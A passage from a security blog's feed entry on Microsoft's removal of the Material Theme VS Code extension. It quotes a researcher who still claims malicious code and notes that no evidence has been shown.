BleepingComputer asked the cybersecurity company that initially reported the issue in the article <a href="https://www.bleepingcomputer.com/news/microsoft/microsoft-apologizes-for-removing-vscode-extensions-used-by-millions/">Microsoft apologizes for removing VSCode extensions used by millions</a>, and they still believe there is malicious code:</p><blockquote><p>When asked by BleepingComputer about this development, cybersecurity researcher Amit Assaraf continued to claim that the extension did contain malicious code. However, he stated that there was no malicious intent from the publisher, commenting that “in this case, Microsoft moved too fast.”</p></blockquote><p>But it seems that no relevant evidence has been provided so far.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Many people might have followed the news three weeks ago about the well-known extension Material Theme being proactively removed from VS Code by Microsoft. So what was the reason for its removal? Depending on your source of information, there might be two answers:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;It “allegedly” contains malicious code.&lt;/li&gt;
&lt;li&gt;It is indeed malware.&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
</feed>
